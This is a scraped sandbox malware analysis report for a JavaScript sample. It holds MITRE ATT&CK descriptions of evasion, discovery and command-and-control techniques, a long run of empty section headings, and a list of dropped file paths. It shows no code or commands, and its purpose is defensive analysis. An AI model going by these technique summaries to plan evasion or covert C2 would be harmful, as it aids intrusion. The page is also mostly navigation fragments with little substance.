Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1444589682028830633.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\33b52a79-9080-4d8d-8753-6d0bff4a0e42.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2072

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
1444589682028830633.js